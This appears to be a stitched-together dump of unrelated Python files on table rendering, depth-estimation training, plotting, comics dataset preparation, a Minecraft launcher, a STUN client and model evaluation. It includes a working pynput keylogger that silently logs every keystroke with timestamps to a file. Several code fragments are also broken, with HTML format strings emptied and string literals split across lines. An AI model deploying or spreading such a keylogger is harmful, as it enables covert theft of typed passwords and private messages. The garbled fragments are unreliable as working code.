  def as_html(self):
    classes_str = ''
    if self.classes:
      classes_str = ' class="{}"'.format(' '.join(self.classes))
    return mark_safe('{}'.format(
        self.url, classes_str, cell_contents_as_html(self.cell_contents)))

  def as_csv(self):
    return cell_contents_as_csv(self.cell_contents)

class ButtonInHref(InHref):
  def __init__(self, cell_contents, url, classes=[]):
    classes.append('button')
    super().__init__(cell_contents, url, classes=classes)

class StringContent(CellContent):
  def __init__(self, the_string):
    self.the_string = the_string

  def as_html(self):
    if not self.the_string:
      return ' '
    return self.the_string

  def as_csv(self):
    if not self.the_string:
      return ''
    return self.the_string

class Paragraph(StringContent):
  def as_html(self):
    return mark_safe('
{}
'.format(super().as_html()))

class Img(CellContent):
  def __init__(self, img_src):
    self.img_src = img_src

  def as_html(self):
    return ''.format(self.img_src)

  def as_csv(self):
    return self.img_src

class CellContentList(CellContent):
  def __init__(self, cell_contents):
    self.cell_contents = cell_contents

  def as_html(self):
    return cell_contents_as_html(self.cell_contents)

  def as_csv(self):
    return cell_contents_as_csv(self.cell_contents)

def assert_cell_contents_equal(
    expected_cell_contents, actual_cell_contents, message_prefix=''):
  if expected_cell_contents.__class__ != actual_cell_contents.__class__:
    raise AssertionError((
        '{}I am expecting cell contents to be of type {}, '
        'but instead it is {}').format(
            message_prefix, expected_cell_contents.__class__,
            actual_cell_contents.__class__))
  if isinstance(expected_cell_contents, list):
    if len(expected_cell_contents) != len(actual_cell_contents):
      raise AssertionError((
          '{}I am expecting {} cell content objects, but I got {} of '
          'them').format(
              message_prefix, len(expected_cell_contents),
              len(actual_cell_contents)))
    for i in range(len(expected_cell_contents)):
      assert_cell_content_equal(
          expected_cell_contents[i], actual_cell_contents[i],
          message_prefix='{} cell content {}'.format(message_prefix, i))
      return True
  return assert_cell_content_equal(
      expected_cell_contents, actual_cell_contents,
      message_prefix=message_prefix)

def assert_cell_content_equal(
    expected_cell_content, actual_cell_content, message_prefix=''):
  if expected_cell_content.__class__ != actual_cell_content.__class__:
    raise AssertionError((
        '{}I am expecting an object of type {} but got an object of '
        'type {}').format(
            message_prefix, expected_cell_content.__class__,
            actual_cell_content.__class__))
  if hasattr(expected_cell_content, 'assertEqual'):
    return expected_cell_content.assertEqual(
        actual_cell_content, message_prefix=message_prefix)
  if expected_cell_content != actual_cell_content:
    raise AssertionError('{}{} != {}'.format(
        message_prefix, expected_cell_content, actual_cell_content))

def cell_contents_as_html(cell_contents):
  to_return = []
  for cell_content in _cell_contents_as_list(cell_contents):
    to_return.append(cell_content.as_html())
  # Don't '\n'.join(to_return) because that will insert whitespace nodes
  # between buttons, causing the buttons to spread out more.
  return ''.join(to_return)

def cell_contents_as_csv(cell_contents):
  to_return = []
  for cell_content in _cell_contents_as_list(cell_contents, csv=True):
    to_return.append(cell_content.as_csv())
  return ''.join(to_return)

def _cell_contents_as_list(cell_contents, csv=False):
  if not isinstance(cell_contents, list):
    return _cell_contents_as_list([cell_contents], csv=csv)
  to_return = []
  for cell_content in cell_contents:
    to_return.append(obj_as_cell_content(cell_content, csv=csv))
  return to_return

def is_primitive(obj):
  return isinstance(obj, (int, str, bool, float))

def obj_as_cell_content(obj, csv=False):
  if isinstance(obj, CellContent):
    return obj
  if is_primitive(obj):
    if csv:
      return StringContent(str(obj).replace('\n', ' '))
    else:
      return StringContent(str(obj).replace('\n', '
'))
  if obj is None:
    return StringContent('')
  if isinstance(obj, datetime):
    if csv:
      return StringContent(tz_dt_to_tz_dt(obj).isoformat())
    else:
      return StringContent(tz_dt_to_str(obj))
  if isinstance(obj, date):
    if csv:
      return StringContent(obj.isoformat())
    else:
      return StringContent(d_to_str(obj))
  if isinstance(obj, timedelta):
    # Trim off microseconds.
    return StringContent(str(timedelta(days=obj.days, seconds=obj.seconds)))
  if isinstance(obj, time):
    return StringContent(time_to_time_str(obj))
  if isinstance(obj, list):
    return CellContentList([
        obj_as_cell_content(cell_content) for cell_content in obj])
  if isinstance(obj, Money):
    return StringContent(str(obj))
  raise Exception('I am not sure how to turn a {} into a CellContent'.format(
      obj.__class__))


import tensorflow as tf
import numpy as np
from datetime import datetime
from sys import stdout
import shutil
import os

from data_reader import AsyncReader, ReaderOpts
from transformations import make_transformation_matrix, concat_images
from loss import LossLayer
from models import build_depth_net, build_pose_net
from drawing import display_training_basic
from metrics import compute_metrics

# TODO: Data augmentation

img_height = 192
img_width = 640

kitti_path = '/home/xian/kitti_data'
train_list = os.path.join(os.path.dirname(__file__), 'splits', 'train_files.txt')
val_list = os.path.join(os.path.dirname(__file__), 'splits', 'val_files.txt')
batch_size = 8
nworkers = 6
train_reader_opts = ReaderOpts(kitti_path, train_list, batch_size, img_height, img_width, nworkers)
val_reader_opts = ReaderOpts(kitti_path, val_list, batch_size, img_height, img_width, nworkers)

nepochs = 20

K = np.array([[0.58 * img_width, 0, 0.5 * img_width],
              [0, 1.92 * img_height, 0.5 * img_height],
              [0, 0, 1]], dtype=np.float32)

pretrained_weights_path = '/home/xian/ckpts/resnet18_fully_trained/ckpt'

depth_net = build_depth_net(img_height, img_width, pretrained_weights_path)
pose_net = build_pose_net(img_height, img_width)

trainable_weights = depth_net.trainable_weights
trainable_weights.extend(pose_net.trainable_weights)

optimizer = tf.keras.optimizers.Adam(learning_rate=1e-4)

loss_layer = LossLayer(K, img_height, img_width, batch_size)

log_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'logs')
if os.path.exists(log_dir):
    shutil.rmtree(log_dir)
train_summary_writer = tf.summary.create_file_writer(os.path.join(log_dir, 'train'))
val_summary_writer = tf.summary.create_file_writer(os.path.join(log_dir, 'val'))

save_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'ckpts')

@tf.function
def compute_and_log_metrics(disp_pred, depth_gt, step_count):
    # disp_pred: (batch_size, height, width, 1)
    # depth_gt: (batch_size, depth_height, depth_width)
    abs_rel, sq_rel, rmse, rmse_log, a1, a2, a3 = compute_metrics(disp_pred, depth_gt)
    with train_summary_writer.as_default():
        tf.summary.scalar('abs_rel', abs_rel, step=step_count)
        tf.summary.scalar('sq_rel', sq_rel, step=step_count)
        tf.summary.scalar('rmse', rmse, step=step_count)
        tf.summary.scalar('rmse_log', rmse_log, step=step_count)
        tf.summary.scalar('a1', a1, step=step_count)
        tf.summary.scalar('a2', a2, step=step_count)
        tf.summary.scalar('a3', a3, step=step_count)

@tf.function
def train_step(batch_imgs, step_count):
    # batch_imgs: (batch_size, height, width, 9) Three images concatenated on the channels dimension
    img_before = batch_imgs[:, :, :, :3]
    img_target = batch_imgs[:, :, :, 3:6]
    img_after = batch_imgs[:, :, :, 6:]

    with tf.GradientTape() as tape:
        disps = depth_net(img_target)  # disparities at different scales, in increasing resolution
        # TODO: I can spare one of this concatenations, but for now this is clearer:
        T_before_target = pose_net(concat_images(img_before, img_target))  # (bs, 6)
        T_target_after = pose_net(concat_images(img_target, img_after))  # (bs, 6)
        matrixT_before_target = make_transformation_matrix(T_before_target, False)  # (bs, 4, 4)
        matrixT_after_target = make_transformation_matrix(T_target_after, True)  # (bs, 4, 4)
        loss_value, image_from_before, image_from_after =\
            loss_layer(disps, matrixT_before_target, matrixT_after_target, img_before, img_target, img_after)

    grads = tape.gradient(loss_value, trainable_weights)
    optimizer.apply_gradients(zip(grads, trainable_weights))

    with train_summary_writer.as_default():
        tf.summary.scalar('loss', loss_value, step=step_count)

    return loss_value, disps, image_from_before, image_from_after

@tf.function
def eval_step(batch_imgs, depth_gt):
    # batch_imgs: (batch_size, height, width, 9) Three images concatenated on the channels dimension
    # depth_gt: (batch_size, height, width)

    img_before = batch_imgs[:, :, :, :3]
    img_target = batch_imgs[:, :, :, 3:6]
    img_after = batch_imgs[:, :, :, 6:]

    disps = depth_net(img_target)  # disparities at different scales, in increasing resolution

    # Loss:
    T_before_target = pose_net(concat_images(img_before, img_target))  # (bs, 6)
    T_target_after = pose_net(concat_images(img_target, img_after))  # (bs, 6)
    matrixT_before_target = make_transformation_matrix(T_before_target, False)  # (bs, 4, 4)
    matrixT_after_target = make_transformation_matrix(T_target_after, True)  # (bs, 4, 4)
    loss_value, image_from_before, image_from_after = \
        loss_layer(disps, matrixT_before_target, matrixT_after_target, img_before, img_target, img_after)

    metrics = compute_metrics(disps[-1], depth_gt)

    return loss_value, metrics, disps, image_from_before, image_from_after

def evaluation_loop(val_reader, step_count):
    print('Evaluating...')
    eval_start = datetime.now()
    accum_loss = 0.0
    accum_metrics = np.zeros((7), np.float32)
    for batch_idx in range(val_reader.nbatches):
        batch_imgs, batch_depth_gt = val_reader.get_batch()
        loss_value, metrics, disps, image_from_before, image_from_after = eval_step(batch_imgs, batch_depth_gt)
        loss_value = loss_value.numpy()
        accum_loss += loss_value
        assert len(metrics) == len(accum_metrics)
        for i in range(len(accum_metrics)):
            accum_metrics[i] += metrics[i]
    metrics = accum_metrics / float(val_reader.nbatches)
    average_loss = accum_loss / float(val_reader.nbatches)
    with val_summary_writer.as_default():
        tf.summary.scalar('loss', average_loss, step=step_count)
        tf.summary.scalar('abs_rel', metrics[0], step=step_count)
        tf.summary.scalar('sq_rel', metrics[1], step=step_count)
        tf.summary.scalar('rmse', metrics[2], step=step_count)
        tf.summary.scalar('rmse_log', metrics[3], step=step_count)
        tf.summary.scalar('a1', metrics[4], step=step_count)
        tf.summary.scalar('a2', metrics[5], step=step_count)
        tf.summary.scalar('a3', metrics[6], step=step_count)
    print('Evaluation computed in ' + str(datetime.now() - eval_start))

with AsyncReader(train_reader_opts) as train_reader, AsyncReader(val_reader_opts) as val_reader:
    step_count = 0
    for epoch in range(nepochs):
        print("\nStart epoch ", epoch + 1)
        epoch_start = datetime.now()
        if epoch == 15:
            optimizer.learning_rate = 1e-5
            print('Changing learning rate to: %.2e' % optimizer.learning_rate)
        for batch_idx in range(train_reader.nbatches):
            batch_imgs, batch_depth_gt = train_reader.get_batch()
            step_count_tf = tf.convert_to_tensor(step_count, dtype=tf.int64)
            batch_imgs_tf = tf.convert_to_tensor(batch_imgs, dtype=tf.float32)
            loss_value, disps, image_from_before, image_from_after = train_step(batch_imgs_tf, step_count_tf)
            depth_gt_tf = tf.convert_to_tensor(batch_depth_gt, dtype=tf.float32)
            compute_and_log_metrics(disps[-1], depth_gt_tf, step_count_tf)
            train_summary_writer.flush()
            stdout.write("\rbatch %d/%d, loss: %.2e    " % (batch_idx + 1, train_reader.nbatches, loss_value.numpy()))
            stdout.flush()
            if (batch_idx + 1) % 10 == 0:
                display_training_basic(batch_imgs, disps, batch_depth_gt)
            step_count += 1
        stdout.write('\n')
        print('Epoch computed in ' + str(datetime.now() - epoch_start))

        evaluation_loop(val_reader, step_count)

        # Save models:
        print('Saving models')
        pose_net.save_weights(os.path.join(save_dir, 'pose_net_' + str(epoch), 'weights'))
        depth_net.save_weights(os.path.join(save_dir, 'depth_net_' + str(epoch), 'weights'))


"""The main file for the application"""
from fastapi import FastAPI

app = FastAPI(title="Blog Application",
              description="This is a blog application", version="0.1.0")

@app.get("/")
async def root() -> dict[str, str]:
    """The root endpoint for the application

    Returns:
        dict[str, str]: The root endpoint message
    """
    return {"message": "Hello World"}


# MatPlotLib_Exercises.py

# - Jim

import numpy as np
import matplotlib.pyplot as plt

x = np.arange(0, 100)
y = x * 2
z = x ** 2

fig1 = plt.figure()
fig1_axes1 = fig1.add_axes([0.1, 0.1, 0.85, 0.85])
fig1_axes1.plot(x, y, "r")

fig1_axes1.set_xlabel("x")
fig1_axes1.set_ylabel("y = x *2")
fig1_axes1.set_title("title")

fig1_axes2 = fig1.add_axes([0.2, 0.5, 0.2, 0.2])
fig1_axes2.plot(x, y, "r")
fig1_axes2.set_xlabel("x")
fig1_axes2.set_ylabel("y = x * 2")

plt.show()

###############################

fig2 = plt.figure()

# Large plot:
fig2_axes1 = fig2.add_axes([0.1, 0.1, 0.8, 0.8])  # Create the axes.
fig2_axes1.plot(x, z)  # Add the graph.
fig2_axes1.set_xlabel("x")
fig2_axes1.set_ylabel("x ** 2")

# Small plot:
fig2_axes2 = fig2.add_axes([0.2, 0.5, 0.4, 0.4])
fig2_axes2.plot(x, y)
fig2_axes2.set_xlabel("x")
fig2_axes2.set_ylabel("x * 2")
fig2_axes2.set_title("Zoom")
fig2_axes2.set_xlim([20, 22])
fig2_axes2.set_ylim([30, 50])

plt.show()

# 2 subplots in 1 figure (1 row, 2 columms):
# Note: If your screen has > 100 per inch, then the output
# will be smaller as dpi defaults to 100.  So, setting
# dpi=115 as per my computer's parameter.
fig3, alist = plt.subplots(1, 2, figsize=(12, 4), dpi=115)

alist[0].plot(x, y, "b--", lw=3)  # Left graph
alist[1].plot(x, z, "r", lw=3)  # Right graph

plt.show()


import base64
import os
import zlib
from pathlib import Path
from typing import List

import cv2
import jsonpickle
import matplotlib.pyplot as plt
import numpy as np
import xmltodict
from sklearn.metrics import precision_recall_fscore_support

from core.Rect import get_overlap_clusters, Point, Rect
from core.comicspage import ComicsPage

jsonpickle.set_preferred_backend('json')
jsonpickle.set_encoder_options('json', ensure_ascii=False, indent=4)

ORIGIN_PATH = Path("assets/origin")
PAGES_PATH = Path("assets/pages")
GT_PATH = Path("assets/gt")

def compress_numpy_array(arr):
    data = zlib.compress(arr)
    data = base64.b64encode(data)
    return data

def decompress_numpy_array(data, shape):
    data2 = base64.b64decode(data)
    data2 = zlib.decompress(data2)
    fdata = np.frombuffer(data2, dtype=np.uint8).reshape(shape)

    return fdata

def get_numpy_array_from_json(json_str: str):
    obj = jsonpickle.decode(json_str)
    return decompress_numpy_array(obj["data"], obj["shape"])

def convert_svg_to_json(src: Path) -> None:
    filename, extension = os.path.splitext(os.path.basename(str(src)))
    destination = ORIGIN_PATH.joinpath(filename + ".json")

    if destination.exists():
        return

    res = xmltodict.parse(src.read_text(encoding="utf-8"))

    root = res["svg"]
    title = root["title"]
    contents = root["svg"]

    width = contents[0]["image"]["@width"]
    height = contents[0]["image"]["@height"]
    href = str(PAGES_PATH.joinpath(filename + ".jpg").as_posix())

    bubbles = {}

    for content in contents:
        if content["@class"] == "Balloon":
            polygon = content["polygon"]

            for pol in polygon:
                bubbles[pol["@id"]] = {
                    "points": [list(map(lambda x: int(x), el.split(","))) for el in pol["@points"].split(" ")],
                    "metadata": {
                        "border_style": pol["metadata"]["@borderStyle"],
                        "tail_tip": pol["metadata"]["@tailTip"],
                        "bounding_box": pol["metadata"]["@boundingBox"],
                        "tail_direction": pol["metadata"]["@tailDirection"],
                        "rank": pol["metadata"]["@rank"]
                    },
                    "lines": [],
                }
        elif content["@class"] == "Line":
            polygon = content["polygon"]
            for pol in polygon:
                if "@idBalloon" in pol["metadata"]:
                    key = pol["metadata"]["@idBalloon"]
                    bubbles[key]["lines"].append({
                        "points": [list(map(lambda x: int(x), el.split(","))) for el in pol["@points"].split(" ")],
                        "text_type": pol["metadata"]["@textType"],
                        "text": pol["metadata"]["#text"]
                    })

    speech_bubbles = []

    for key, value in bubbles.items():
        bubble = value
        bubble["id"] = key
        speech_bubbles.append(bubble)

    result = {
        "title": title,
        "width": width,
        "height": height,
        "href": href,
        "speech_bubbles": speech_bubbles
    }

    ComicsPage(result).save(destination)

def get_all_comics_pages() -> List[ComicsPage]:
    return comics_pages

def display_image_in_actual_size(img):
    dpi = 80

    if len(img.shape) == 2:
        height, width = img.shape
    else:
        height, width, depth = img.shape

    # What size does the figure need to be in inches to fit the image?
    figsize = width / float(dpi), height / float(dpi)

    # Create a figure of the right size with one axes that takes up the full figure
    fig = plt.figure(figsize=figsize)
    ax = fig.add_axes([0, 0, 1, 1])

    # Hide spines, ticks, etc.
    ax.axis('off')

    # Display the image.
    ax.imshow(img, cmap='gray')

    plt.show()

def get_blank_with_contours(contours, shape):
    height, width = shape
    blank_image = np.zeros(shape=[height, width, 3], dtype=np.uint8)

    for cnt in contours:
        cv2.fillPoly(blank_image, [cnt], [255, 255, 255])

    return blank_image

def convert_blank_image_to_bw(img):
    # convert to RGB
    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    # convert to grayscale
    gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
    return gray

def convert_bw_image_to_zero_and_ones(img):
    return np.where(img != 0, 1, img)

def get_precision_recall_f1_score(orig, pred):
    return precision_recall_fscore_support(orig, pred, average="binary", labels=[0, 1])

def prepare_dataset_for_speech_bubbles_experiment():
    for comics_page in comics_pages:
        json_path = speech_bubbles_experiment_dataset_path.joinpath(comics_page.title + ".json")
        if json_path.exists():
            return

        txt_path = speech_bubbles_experiment_dataset_path.joinpath(comics_page.title + ".txt")

        if txt_path.exists():
            return

        contours = comics_page.get_contours()
        blank_image = get_blank_with_contours(contours, (int(comics_page.height), int(comics_page.width)))
        bw = convert_blank_image_to_bw(blank_image)
        result = convert_bw_image_to_zero_and_ones(bw)

        lines = []
        rectangles = []

        for cnt in contours:
            x, y, w, h = cv2.boundingRect(cnt)
            rectangles.append(Rect(Point(x, y), Point(x + w, y + h)))

        contours = get_overlap_clusters(rectangles)
        for cnt in contours:
            lines.append(f"balloon {cnt.left} {cnt.top} {cnt.right - cnt.left} {cnt.top - cnt.bottom}")

        txt_path.write_text("\n".join(lines))

        compressed_data = compress_numpy_array(result)

        json_path.write_text(jsonpickle.encode({
            "data": compressed_data,
            "shape": result.shape
        }))

def prepare_dataset_for_ocr_experiment():
    for comics_page in comics_pages:
        json_path = ocr_experiment_dataset_path.joinpath(comics_page.title + ".json")
        data = {"title": comics_page.title, "data": []}

        # if json_path.exists():
        #     return

        [images, texts] = comics_page.get_contours_bounding_rect_images_and_texts()

        for i in range(len(images)):
            cv2.imwrite(str(ocr_experiment_dataset_path.joinpath(comics_page.title + f"_{i}.jpg")), images[i])
            ocr_experiment_dataset_path.joinpath(comics_page.title + f"_{i}.txt").write_text(texts[i], encoding="utf-8")

            data['data'].append({
                "name": comics_page.title + f"_{i}",
                "image": str(ocr_experiment_dataset_path.joinpath(comics_page.title + f"_{i}.jpg")),
                "text": texts[i]
            })

        json_path.write_text(jsonpickle.encode(data))

for filename in GT_PATH.glob("*.svg"):
    convert_svg_to_json(filename)

comics_pages: List[ComicsPage] = []
for file_name in ORIGIN_PATH.glob("*.json"):
    comics_pages.append(ComicsPage.open(file_name))

speech_bubbles_experiment_path = Path("experiments/speechbubbles")
speech_bubbles_experiment_dataset_path = speech_bubbles_experiment_path.joinpath("dataset")

ocr_experiment_path = Path("experiments/ocr")
ocr_experiment_dataset_path = ocr_experiment_path.joinpath("dataset")

if not speech_bubbles_experiment_dataset_path.exists():
    speech_bubbles_experiment_dataset_path.mkdir()

if not ocr_experiment_dataset_path.exists():
    ocr_experiment_dataset_path.mkdir()


from pynput.keyboard import Listener
from time import ctime
from time import ctime
def wtf(key):
	ctr=0
	a=ctime()
	a=str(a)
	a+='\n'
	keydata=str(key)
	keydata=keydata.replace("'","")
	if keydata=='key.enter':
		keydata="\n"
		ctr=1

	else:
		pass
	if ctr==1:
		with open("log.txt",'a') as f:
			f.write(keydata)
			f.write(a)
	else:
		with open("log.txt",'a') as f:
			f.write(keydata)
	ctr=0
with Listener(on_press=wtf) as l:
		l.join()


import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
import os
import pickle

distributions = pickle.load(open("distributions.pkl", "rb"))

infoDist = [[0.25, 0.25, 0.25, 0.25],
            [0.233, 0.233, 0.3, 0.233],
            [0.217, 0.217, 0.35, 0.217],
            [0.2, 0.2, 0.4, 0.2],
            [0.183, 0.183, 0.45, 0.183],
            [0.233, 0.3, 0.233, 0.233],
            [0.217, 0.35, 0.217, 0.217],
            [0.2, 0.4, 0.2, 0.2],
            [0.183, 0.45, 0.183, 0.183]
            ]

for i in range(len(distributions)) :
    plt.figure(i)
    plt.xlim(0.1, 0.8)
    plt.ylim(0, 180000)
    plt.title("Distribution of Voting Probabilites \n Information Distribution = " + str(infoDist[i]))
    plt.xlabel("Probability of Voting for Candidate A")
    plt.ylabel("Number of Voters")
    plt.hist(distributions[i],50)
    plt.savefig("run" + str(i+1) + "_V2_distributionPlot.png")


# -*- coding: utf8 -*-
from .Config import Config
from ..core.Mojang import Mojang
from .Constants import *
from ..utils.utils import hint
from ..utils.RichText import RichText

import os
import json

class Console:

    def __init__(self, config):
        '''初始化控制台实例'''
        self.config = config

    def userInteraction(self):
        '''控制台展示用户交互界面'''
        if self.config.version == None:
            # 如果没有提示版本参数，则展示可选版本号供用户选择
            self.showVersionList()

        if self.config.username == Config.GAME_DEFAULT_USERNAME and not self.config.is_extract_music:
            # 如果用户名为默认值时，提示用户选择一个自己的用户名进行游戏
            self.showUserName()

        # 客户端启动方式
        self.selectLauncherProfile()

    def showVersionList(self):
        '''控制台交互显示可选客户端版本号'''

        releaseVersions = Mojang.get_release_version_id_list(update = True)
        releaseVersions = releaseVersions[0:releaseVersions.index('1.13')+1]
        column = 6
        table_versions = [releaseVersions[i:i+column] for i in range(0, len(releaseVersions), column)]
        RichText.table(
            title = '目前支持的游戏版本',
            table_data = table_versions)

        if len(releaseVersions) > 0:
            self.config.version = releaseVersions[0] # 默认版本号

        select = hint(SELECT_VERSION_HINT % ('deploy' if not self.config.is_client else 'play' , DEFAULT_VERSION_HINT % self.config.version))

        if len(select) > 0:
            found = False
            for releaseVersion in releaseVersions:
                if releaseVersion == select.strip():
                    found = True
                    self.config.version = releaseVersion
                    print(CHOOSED_VERSION % self.config.version)
            if not found:
                print(NOT_FOUND_VERSION)
        else:
            print(CHOOSED_DEFAULT_VERSION % self.config.version)

        print('\n')

    def showUserName(self):
        '''控制台交互输入玩家用户名'''

        # 只针对客户端有效
        if not self.config.is_client:
            return

        u = hint(CHOOSE_USERNAME_HINT % self.config.username)

        if len(u) > 0:
            self.config.username = u
            print(CHOOSED_USERNAME % self.config.username)
        else:
            print(CHOOSED_DEFAULT_USERNAME)

        print('\n')

    def selectLauncherProfile(self):

        if not self.config.is_client or not self.config.isPure:
            return

        if not (self.config.optifine or self.config.fabric):
            return

        launcher_profiles_json_file_path = self.config.game_version_launcher_profiles_json_path()
        if os.path.exists(launcher_profiles_json_file_path):
            content = None
            with open(launcher_profiles_json_file_path, 'r') as f:
                content = json.load(f)
                profiles = content.get('profiles', None)
                count = len(profiles)
                if count > 0:
                    print(ColorString.warn("There are those profiles you can choose to launch: "))
                    index = 0
                    selectedIndex = 0
                    keys = profiles.keys()
                    for key in keys:
                        index = index + 1
                        if key == content['selectedProfile']:
                            selectedIndex = index
                        isSelected = '*' if key == content['selectedProfile'] else ' '
                        print(ColorString.hint('\t%s %s. %s' % (isSelected, index, key)))

                    options = "[1 - %s] " % count if count > 1 else ""
                    try:
                        input = hint(ColorString.warn("Which one you choose %s: " % options))
                        which = int(input) if input and len(input) > 0 else selectedIndex
                        if which >= 1 and which <= count:
                            selected_key = list(keys)[which - 1]
                            self.config.lastVersionId = profiles.get(selected_key).get('lastVersionId')
                            content['selectedProfile'] = selected_key
                        else:
                            print(ColorString.error("There is no option you specified!"))
                            exit(-1)
                    except:
                        print(ColorString.error("There is no option you specified!"))
                        exit(-1)

            if content != None:
                with open(launcher_profiles_json_file_path, 'w') as f:
                    json.dump(content, f)


import qutip as qt
import numpy as np
import matplotlib.animation as animation
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

fig = plt.figure()
ax = Axes3D(fig, azim=-40, elev=30)
sphere = qt.Bloch(axes=ax)

n_qbits = 8
ts = 200
T2 = 150

sx = np.zeros((n_qbits, ts))
sy = np.zeros((n_qbits, ts))
sz = np.zeros((n_qbits, ts))

w = 0.2*np.random.rand(n_qbits)

for t in range(ts):
    for i in range(n_qbits):
        sx[i, t] = np.exp(-t/T2)*np.cos(w[i]*t)
        # print(sx[i, t])
        sy[i, t] = np.exp(-t/T2)*np.sin(w[i]*t)
        sz[i, t] = 0

def animate(i):
    sphere.clear()
    # sphere.add_vectors([[sx[i], sy[i], sz[i]], [sx[i], 0, 0]])
    vec_tot = [0, 0, 0]
    vec = []
    for n in range(n_qbits):
        vec.append([sx[n, i], sy[n, i], sz[n, i]])
        vec_tot[0] += sx[n, i]
        vec_tot[1] += sy[n, i]
        vec_tot[2] += sz[n, i]
    vec_tot[0] = vec_tot[0]/n_qbits
    vec_tot[1] = vec_tot[1]/n_qbits
    vec_tot[2] = vec_tot[2]/n_qbits
    # print(vec)
    sphere.vector_color = ['blueviolet']
    sphere.vector_width = 2
    sphere.add_vectors(vec)
    sphere.vector_color = ['indigo']
    sphere.vector_width = 7
    sphere.add_vectors(vec_tot)
    # sphere.add_points([sx[:i+1], sy[:i+1], sz[:i+1]])
    sphere.make_sphere()
    return ax

def init():
    sphere.zlabel = ["|0><0|", "|1><1|"]
    sphere.point_size = [20]
    sphere.point_color = ['blueviolet']
    sphere.point_marker = ['o']
    sphere.view = [-40, 30]

    return ax

ani = animation.FuncAnimation(fig, animate, np.arange(len(sx[0, :])),
                              init_func=init, repeat=False)
# ani.save('T2_with_proy.mp4', fps=20)
ani.save('T2_multi.mp4', fps=20)


import run
import torch
import plot
import numpy as np
from collections import defaultdict

sent_len_label = (
    lambda i, ds: f"{run.SENT_LENGTH_BREAKPOINTS[i]} <= len < {run.SENT_LENGTH_BREAKPOINTS[i+1]}   (# samples: {len(ds[i])})"
)
sent_dataset_name2data = {
    sent_len_label(i, run.test_data_binned): (
        run.dev_data_binned[i],
        run.test_data_binned[i],
    )
    for i in range(len(run.dev_data_binned))
}

def eval_model(name, seed2model, test_data):
    test_accs = []
    for seed in ["0", "42", "420"]:
        torch.manual_seed(seed)
        criterion = torch.nn.CrossEntropyLoss()
        prep_fn = (
            run.prepare_treelstm_minibatch
            if "tree_lstm" in name
            else run.prepare_minibatch
        )
        model = seed2model[seed]
        test_loss, _, _, test_acc = run.evaluate(
            model,
            test_data,
            loss_fn=criterion,
            batch_size=run.BATCH_SIZE,
            batch_fn=run.get_minibatch,
            prep_fn=prep_fn,
        )
        test_accs.append(test_acc)
    return np.mean(test_accs), np.std(test_accs)

def load_model(init_fn, name, seed):
    results_fpath = str(run.MODELS_DIR / f"{name}_{seed}.pt")
    model = init_fn()
    model.load_state_dict(
        torch.load(results_fpath, map_location=run.device)["state_dict"]
    )
    return model

def load_seed2model(init_fn, name):
    seed2model = {
        seed: load_model(init_fn, name, seed) for seed in ["0", "42", "420"]
    }
    return seed2model

def get_dataset2model2res(
    dataset_name2data, model_whitelist=None, only_eval_own_dataset=False
):
    dataset2model2res = defaultdict(lambda: defaultdict(lambda: dict()))

    for (
        name,
        model_init_and_datasets,
    ) in run.name2model_init_and_datasets.items():
        if model_whitelist is not None:
            if name not in model_whitelist:
                continue
        print(f"evaluating {name}")
        model_init_fn, own_dataset_name = model_init_and_datasets
        seed2model = load_seed2model(model_init_fn, name)
        for dataset_name, data in run.dataset_name2data.items():
            if only_eval_own_dataset:
                if not dataset_name == own_dataset_name:
                    continue
            _, _, test_data = data
            test_acc, test_std = eval_model(name, seed2model, test_data)
            dataset2model2res[dataset_name][name] = (test_acc, test_std)
    return dataset2model2res

def plot_sent_lengths(dataset2model2res):
    model2dataset2res = defaultdict(lambda: defaultdict(lambda: dict()))
    for dataset, model2res in dataset2model2res.items():
        for model, res in model2res.items():
            model2dataset2res[model][dataset] = res
    plot.bars(
        model2dataset2res,
        "sentence_length_results",
        ylim=(0.3, 0.6),
        plot_baseline=False,
    )

"""
usage:
get evaluation results with

```
import run # make sure to set correct EXPERIMENT before importing
import utils
import evaluate
import plot
dataset_name2data = run.dataset_name2data # or evaluate.sent_dataset_name2data
fname = 'tree_lstm_intermittent_supervision_plot'
dataset2model2res = evaluate.get_dataset2model2res(dataset_name2data)
print(utils.defaultdict2dict(dataset2model2res))
plot.bars(dataset2model2res, fname)
```
"""


# client2.py
import socket
import stun

server = 'stun.l.google.com', 19302
client_port = 8001
client_addr = stun.get_ip_info()[0]

s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((client_addr, client_port))

nat_type, _, host, port = stun.get_ip_info(s, server)
print(f'NAT Type: {nat_type}, Public IP: {host}, Public Port: {port}')

s.settimeout(10)
while True:
    try:
        data, remote_addr = s.recvfrom(1024)
        print(f'Received from {remote_addr}: {data.decode()}')
        s.sendto(f'hello from {client_addr}:{client_port}'.encode(), remote_addr)
    except socket.timeout:
        break
s.close()


import pprint

import glob
from mkdocs.structure.files import File
import logging
import os
from datetime import datetime
log = logging.getLogger(__name__)

def add_hidden_files(files, config):
  #print("------ from on_pre_build")
  #pp = pprint.PrettyPrinter(indent=4)
  hidden_files_globs = [
    ".ladoc/api_helpers/**",
    ".ladoc/assets/**"
  ]
  #pp.pprint(config)
  for hidden_files_glob in hidden_files_globs:
    absolute_hidden_files_glob = os.path.join(config['docs_dir'], hidden_files_glob)
    hidden_files = glob.glob(absolute_hidden_files_glob, recursive=True)
    #pp.pprint(hidden_files)
    for hidden_filename in hidden_files:
      #pp.pprint(os.path.exists(hidden_filename))
      #pp.pprint(hidden_filename)
      if not os.path.exists(hidden_filename):
        continue
      if os.path.isdir(hidden_filename):
        continue
      file = File(hidden_filename.replace(config['docs_dir']+"/", ''), config['docs_dir'], config['site_dir'], config['use_directory_urls'])
      #pp.pprint(file)
      files.append(file)
  #pp.pprint(files)
  return files

def set_build_time_env_var(*args, **kwargs):
  #print("------ from on_post_build")
  os.environ['LADOC_BUILD_DATE'] = datetime.now().strftime("%Y-%m-%d")
  #pp.pprint(os.environ['LADOC_BUILD_TIME'])


# _*_ coding:utf-8 _*_
# Lee 2022-05-26 10:21 self_lr
# Note:

import torch
from torch.optim import lr_scheduler, Adam
import matplotlib.pyplot as plt
import torch.nn as nn
import math

class net(nn.Module):
    def __init__(self):
        super(net, self).__init__()
        self.fc = nn.Linear(1, 10)

